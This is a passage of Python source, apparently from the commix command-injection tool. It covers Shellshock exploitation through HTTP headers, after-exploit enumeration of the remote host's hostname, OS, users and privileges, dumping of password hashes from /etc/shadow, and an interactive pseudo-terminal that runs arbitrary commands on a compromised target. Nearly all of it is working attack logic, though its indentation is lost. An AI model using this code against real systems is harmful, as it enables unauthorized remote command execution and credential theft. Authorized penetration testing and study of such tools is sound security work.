separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
http_request_method, url, vuln_parameter, alter_shell, filename,
url_time_response)
session_handler.store_cmd(url, cmd, output, vuln_parameter)
_ = True
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
cu_account = output
if cu_account:
# Check if the user have super privileges.
if menu.options.is_root or menu.options.is_admin:
if settings.TARGET_OS == "win":
cmd = settings.IS_ADMIN
else:
cmd = settings.IS_ROOT
if session_handler.export_stored_cmd(
url, cmd,
vuln_parameter) == None or menu.options.ignore_session:
if settings.VERBOSITY_LEVEL == 0 and _:
sys.stdout.write("\n")
# The main command injection exploitation.
check_how_long, output = tb_injector.injection(
separator, maxlen, TAG, cmd, prefix, suffix, whitespace,
timesec, http_request_method, url, vuln_parameter,
alter_shell, filename, url_time_response)
session_handler.store_cmd(url, cmd, output, vuln_parameter)
else:
output = session_handler.export_stored_cmd(
url, cmd, vuln_parameter)
shell = output
if settings.VERBOSITY_LEVEL == 0 and _:
print(settings.SINGLE_WHITESPACE)
info_msg = "The current user is " + str(cu_account)
sys.stdout.write(settings.print_bold_info_msg(info_msg))
# Add infos to logs file.
output_file = open(filename, "a")
info_msg = "The current user is " + str(cu_account)
output_file.write(
re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub(
"", settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
if shell:
shell = "".join(str(p) for p in shell)
if (settings.TARGET_OS == "win" and not "Admin" in shell) or \
(settings.TARGET_OS != "win" and shell != "0"):
sys.stdout.write(Style.BRIGHT + " and it is " + "not" +
Style.RESET_ALL + Style.BRIGHT +
" privileged" + Style.RESET_ALL + ".")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" and it is not privileged.\n")
output_file.close()
else:
sys.stdout.write(Style.BRIGHT + " and it is " +
Style.RESET_ALL + Style.BRIGHT +
"privileged" + Style.RESET_ALL + ".")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" and it is privileged.\n")
output_file.close()
else:
if settings.VERBOSITY_LEVEL == 0 and _:
print(settings.SINGLE_WHITESPACE)
info_msg = "The current user is " + str(cu_account)
sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
info_msg = "The current user is " + str(cu_account) + "\n"
output_file.write(
re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub(
"", settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
else:
warn_msg = "Heuristics have failed to identify the current user."
print(settings.print_warning_msg(warn_msg))
def enumeration(url, cve, check_header, filename):
#-------------------------------
# Hostname enumeration
#-------------------------------
if menu.options.hostname:
cmd = settings.HOSTNAME
shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
if shell:
info_msg = "The hostname is " + str(shell)
sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
info_msg = "The hostname is " + str(shell) + ".\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
else:
warn_msg = "Heuristics have failed to identify the hostname."
print(settings.print_warning_msg(warn_msg))
settings.ENUMERATION_DONE = True
#-------------------------------
# Retrieve system information
#-------------------------------
if menu.options.sys_info:
cmd = settings.RECOGNISE_OS
target_os, payload = cmd_exec(url, cmd, cve, check_header, filename)
if target_os:
if target_os == "Linux":
cmd = settings.DISTRO_INFO
distro_name, payload = cmd_exec(url, cmd, cve, check_header, filename)
if len(distro_name) != 0:
target_os = target_os + " (" + distro_name + ")"
cmd = settings.RECOGNISE_HP
target_arch, payload = cmd_exec(url, cmd, cve, check_header, filename)
if target_arch:
info_msg = "The target operating system is " + str(target_os) + Style.RESET_ALL
info_msg += Style.BRIGHT + " and the hardware platform is " + str(target_arch)
sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
info_msg = "The target operating system is " + str(target_os)
info_msg += " and the hardware platform is " + str(target_arch) + ".\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
else:
info_msg = "The target operating system is " + target_os
sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
info_msg = "The target operating system is " + str(target_os) + ".\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
else:
warn_msg = "Heuristics have failed to retrieve the system information."
print(settings.print_warning_msg(warn_msg))
settings.ENUMERATION_DONE = True
#-------------------------------
# The current user enumeration
#-------------------------------
if menu.options.current_user:
cmd = settings.CURRENT_USER
cu_account, payload = cmd_exec(url, cmd, cve, check_header, filename)
if cu_account:
if menu.options.is_root:
cmd = re.findall(r"" + "\$(.*)", settings.IS_ROOT)
cmd = ''.join(cmd).replace("(","").replace(")","")
shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
info_msg = "The current user is " + str(cu_account)
sys.stdout.write(settings.print_bold_info_msg(info_msg))
# Add infos to logs file.
output_file = open(filename, "a")
info_msg = "The current user is " + str(cu_account)
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
if shell:
if shell != "0":
sys.stdout.write(Style.BRIGHT + " and it is" + " not" + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" and it is not privileged.\n")
output_file.close()
else:
sys.stdout.write(Style.BRIGHT + " and it is " + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" and it is privileged.\n")
output_file.close()
else:
info_msg = "The current user is " + str(cu_account)
sys.stdout.write(settings.print_bold_info_msg(info_msg))
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
info_msg = "The current user is " + str(cu_account) + "\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
else:
warn_msg = "Heuristics have failed to identify the current user."
print(settings.print_warning_msg(warn_msg))
settings.ENUMERATION_DONE = True
#-------------------------------
# System users enumeration
#-------------------------------
if menu.options.users:
cmd = settings.SYS_USERS
sys_users, payload = cmd_exec(url, cmd, cve, check_header, filename)
info_msg = "Fetching '" + settings.PASSWD_FILE
info_msg += "' to enumerate users entries. "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
try:
if sys_users[0] :
sys_users = "".join(str(p) for p in sys_users).strip()
if len(sys_users.split(" ")) <= 1 :
sys_users = sys_users.split("\n")
else:
sys_users = sys_users.split(" ")
# Check for appropriate '/etc/passwd' format.
if len(sys_users) % 3 != 0 :
sys.stdout.write(settings.FAIL_STATUS)
sys.stdout.flush()
warn_msg = "It seems that '" + settings.PASSWD_FILE
warn_msg += "' file is not in the appropriate format. Thus, it is expoted as a text file."
print("\n" + settings.print_warning_msg(warn_msg))
sys_users = " ".join(str(p) for p in sys_users).strip()
print(sys_users)
output_file = open(filename, "a")
output_file.write(" " + sys_users)
output_file.close()
else:
sys_users_list = []
for user in range(0, len(sys_users), 3):
sys_users_list.append(sys_users[user : user + 3])
if len(sys_users_list) != 0 :
sys.stdout.write(settings.SUCCESS_STATUS)
info_msg = "Identified " + str(len(sys_users_list))
info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1]
info_msg += " in '" + settings.PASSWD_FILE + "'.\n"
sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg))
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
count = 0
for user in range(0, len(sys_users_list)):
sys_users = sys_users_list[user]
sys_users = ":".join(str(p) for p in sys_users)
count = count + 1
fields = sys_users.split(":")
fields1 = "".join(str(p) for p in fields)
# System users privileges enumeration
try:
if not fields[2].startswith("/"):
raise ValueError()
if menu.options.privileges:
if int(fields[1]) == 0:
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " root user "
is_privileged_nh = " is root user "
elif int(fields[1]) > 0 and int(fields[1]) < 99 :
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " system user "
is_privileged_nh = " is system user "
elif int(fields[1]) >= 99 and int(fields[1]) < 65534 :
if int(fields[1]) == 99 or int(fields[1]) == 60001 or int(fields[1]) == 65534:
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " anonymous user "
is_privileged_nh = " is anonymous user "
elif int(fields[1]) == 60002:
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user "
is_privileged_nh = " is non-trusted user "
else:
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user "
is_privileged_nh = " is regular user "
else :
is_privileged = ""
is_privileged_nh = ""
else :
is_privileged = ""
is_privileged_nh = ""
print(" (" +str(count)+ ") '" + Style.BRIGHT + fields[0]+ Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.")
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" (" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" )
output_file.close()
except ValueError:
if count == 1 :
warn_msg = "It seems that '" + settings.PASSWD_FILE
warn_msg += "' file is not in the appropriate format. "
warn_msg += "Thus, it is expoted as a text file."
print(settings.print_warning_msg(warn_msg))
sys_users = " ".join(str(p) for p in sys_users.split(":"))
print(sys_users)
output_file = open(filename, "a")
output_file.write(" " + sys_users)
output_file.close()
else:
sys.stdout.write(settings.FAIL_STATUS)
sys.stdout.flush()
warn_msg = "It seems that you don't have permissions to read '"
warn_msg += settings.PASSWD_FILE + "' to enumerate users entries."
print("\n" + settings.print_warning_msg(warn_msg))
except TypeError:
sys.stdout.write(settings.FAIL_STATUS + "\n")
sys.stdout.flush()
pass
except IndexError:
sys.stdout.write(settings.FAIL_STATUS)
warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '"
warn_msg += settings.PASSWD_FILE + "' to enumerate users entries."
sys.stdout.write("\n" + settings.print_warning_msg(warn_msg))
sys.stdout.flush()
pass
settings.ENUMERATION_DONE = True
#-------------------------------------
# System password enumeration
#-------------------------------------
if menu.options.passwords:
cmd = settings.SYS_PASSES
sys_passes, payload = cmd_exec(url, cmd, cve, check_header, filename)
if sys_passes :
sys_passes = "".join(str(p) for p in sys_passes)
sys_passes = sys_passes.replace(" ", "\n")
sys_passes = sys_passes.split( )
if len(sys_passes) != 0 :
info_msg = "Fetching '" + settings.SHADOW_FILE
info_msg += "' to enumerate users password hashes. "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
sys.stdout.write(settings.SUCCESS_STATUS)
info_msg = "Identified " + str(len(sys_passes))
info_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1]
info_msg += " in '" + settings.SHADOW_FILE + "'.\n"
sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg))
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg )
output_file.close()
count = 0
for line in sys_passes:
count = count + 1
try:
if ":" in line:
fields = line.split(":")
if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "":
print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1] + Style.RESET_ALL)
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" (" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n")
output_file.close()
# Check for appropriate (/etc/shadow) format
except IndexError:
if count == 1 :
warn_msg = "It seems that '" + settings.SHADOW_FILE
warn_msg += "' file is not in the appropriate format. "
warn_msg += "Thus, it is expoted as a text file."
sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
print(fields[0])
output_file = open(filename, "a")
output_file.write(" " + fields[0])
output_file.close()
else:
warn_msg = "It seems that you don't have permissions to read '"
warn_msg += settings.SHADOW_FILE + "' to enumerate users password hashes."
print(settings.print_warning_msg(warn_msg))
settings.ENUMERATION_DONE = True
def shellshock_handler(url, http_request_method, filename):
counter = 1
vp_flag = True
no_result = True
export_injection_info = False
injection_type = "results-based command injection"
technique = "shellshock injection technique"
info_msg = "Testing the " + technique + ". "
if settings.VERBOSITY_LEVEL >= 2:
info_msg = info_msg + "\n"
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
try:
i = 0
total = len(shellshock_cves) * len(headers)
for cve in shellshock_cves:
for check_header in headers:
# Check injection state
settings.DETECTION_PHASE = True
settings.EXPLOITATION_PHASE = False
i = i + 1
attack_vector = "echo " + cve + ":Done;"
payload = shellshock_payloads(cve, attack_vector)
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL == 1:
sys.stdout.write("\n" + settings.print_payload(payload))
elif settings.VERBOSITY_LEVEL >= 2:
debug_msg = "Generating payload for the injection."
print(settings.print_debug_msg(debug_msg))
print(settings.print_payload(payload))
header = {check_header : payload}
request = _urllib.request.Request(url, None, header)
if check_header == "User-Agent":
menu.options.agent = payload
else:
menu.options.agent = default_user_agent
log_http_headers.do_check(request)
log_http_headers.check_http_traffic(request)
# Check if defined any HTTP Proxy.
if menu.options.proxy:
response = proxy.use_proxy(request)
# Check if defined Tor.
elif menu.options.tor:
response = tor.use_tor(request)
else:
response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT)
percent = ((i*100)/total)
float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2))
if str(float_percent) == "100.0":
if no_result == True:
percent = settings.FAIL_STATUS
else:
percent = settings.info_msg
no_result = False
elif len(response.info()) > 0 and cve in response.info():
percent = settings.info_msg
no_result = False
else:
percent = str(float_percent)+ "%"
if settings.VERBOSITY_LEVEL == 0:
info_msg = "Testing the " + technique + "." + "" + percent + ""
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
if no_result == False:
# Check injection state
settings.DETECTION_PHASE = False
settings.EXPLOITATION_PHASE = True
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
vuln_parameter = "HTTP Header"
the_type = " " + vuln_parameter
check_header = " " + check_header
vp_flag = logs.add_parameter(vp_flag, filename, the_type, check_header, http_request_method, vuln_parameter, payload)
check_header = check_header[1:]
logs.update_payload(filename, counter, payload)
if settings.VERBOSITY_LEVEL != 0:
checks.total_of_requests()
info_msg = "The (" + check_header + ") '"
info_msg += url + Style.RESET_ALL + Style.BRIGHT
info_msg += "' seems vulnerable via " + technique + "."
if settings.VERBOSITY_LEVEL < 2:
print("")
print(settings.print_bold_info_msg(info_msg))
sub_content = "\"" + payload + "\""
print(settings.print_sub_content(sub_content))
# Enumeration options.
if settings.ENUMERATION_DONE == True :
if settings.VERBOSITY_LEVEL != 0:
print("")
while True:
if not menu.options.batch:
question_msg = "Do you want to enumerate again? [Y/n] > "
enumerate_again = _input(settings.print_question_msg(question_msg))
else:
enumerate_again = ""
if len(enumerate_again) == 0:
enumerate_again = "Y"
if enumerate_again in settings.CHOICE_YES:
enumeration(url, cve, check_header, filename)
break
elif enumerate_again in settings.CHOICE_NO:
break
elif enumerate_again in settings.CHOICE_QUIT:
raise SystemExit()
else:
err_msg = "'" + enumerate_again + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
pass
else:
enumeration(url, cve, check_header, filename)
# File access options.
if settings.FILE_ACCESS_DONE == True :
while True:
if not menu.options.batch:
question_msg = "Do you want to access files again? [Y/n] > "
file_access_again = _input(settings.print_question_msg(question_msg))
else:
file_access_again= ""
if len(file_access_again) == 0:
file_access_again = "Y"
if file_access_again in settings.CHOICE_YES:
file_access(url, cve, check_header, filename)
break
elif file_access_again in settings.CHOICE_NO:
break
elif file_access_again in settings.CHOICE_QUIT:
raise SystemExit()
else:
err_msg = "'" + file_access_again + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
pass
else:
file_access(url, cve, check_header, filename)
if menu.options.os_cmd:
cmd = menu.options.os_cmd
shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
print("\n") + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL
raise SystemExit()
else:
# Pseudo-Terminal shell
print("")
go_back = False
go_back_again = False
while True:
if go_back == True:
break
if not menu.options.batch:
question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > "
gotshell = _input(settings.print_question_msg(question_msg))
else:
gotshell= ""
if len(gotshell) == 0:
gotshell= "Y"
if gotshell in settings.CHOICE_YES:
if not menu.options.batch:
print("")
print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)")
if readline_error:
checks.no_readline_module()
while True:
try:
if not readline_error:
# Tab compliter
readline.set_completer(menu.tab_completer)
# MacOSX tab compliter
if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''):
readline.parse_and_bind("bind ^I rl_complete")
# Unix tab compliter
else:
readline.parse_and_bind("tab: complete")
cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
cmd = checks.escaped_cmd(cmd)
if cmd.lower() in settings.SHELL_OPTIONS:
os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result)
go_back, go_back_again = check_options(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again)
if go_back:
break
else:
shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
if shell != "":
# Update logs with executed cmds and execution results.
logs.executed_command(filename, cmd, shell)
print("\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n")
else:
debug_msg = "Executing the '" + cmd + "' command. "
if settings.VERBOSITY_LEVEL == 1:
sys.stdout.write(settings.print_debug_msg(debug_msg))
sys.stdout.flush()
sys.stdout.write("\n" + settings.print_payload(payload)+ "\n")
elif settings.VERBOSITY_LEVEL >= 2:
sys.stdout.write(settings.print_debug_msg(debug_msg))
sys.stdout.flush()
sys.stdout.write("\n" + settings.print_payload(payload)+ "\n")
err_msg = "The '" + cmd + "' command, does not return any output."
print(settings.print_critical_msg(err_msg) + "\n")
except KeyboardInterrupt:
raise
except SystemExit:
raise
except EOFError:
err_msg = "Exiting, due to EOFError."
print(settings.print_error_msg(err_msg))
raise
except TypeError:
break
elif gotshell in settings.CHOICE_NO:
if checks.next_attack_vector(technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
return True
elif gotshell in settings.CHOICE_QUIT:
raise SystemExit()
else:
err_msg = "'" + gotshell + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
continue
break
else:
continue
if no_result:
if settings.VERBOSITY_LEVEL != 2:
print("")
err_msg = "All tested HTTP headers appear to be not injectable."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
except _urllib.error.HTTPError as err_msg:
if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR:
response = False
elif settings.IGNORE_ERR_MSG == False:
err = str(err_msg) + "."
print("\n") + settings.print_critical_msg(err)
continue_tests = checks.continue_tests(err_msg)
if continue_tests == True:
settings.IGNORE_ERR_MSG = True
else:
raise SystemExit()
except _urllib.error.URLError as err_msg:
err_msg = str(err_msg.reason).split(" ")[2:]
err_msg = ' '.join(err_msg)+ "."
if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False:
print("")
print(settings.print_critical_msg(err_msg))
raise SystemExit()
except _http_client.IncompleteRead as err_msg:
print(settings.print_critical_msg(err_msg + "."))
raise SystemExit()
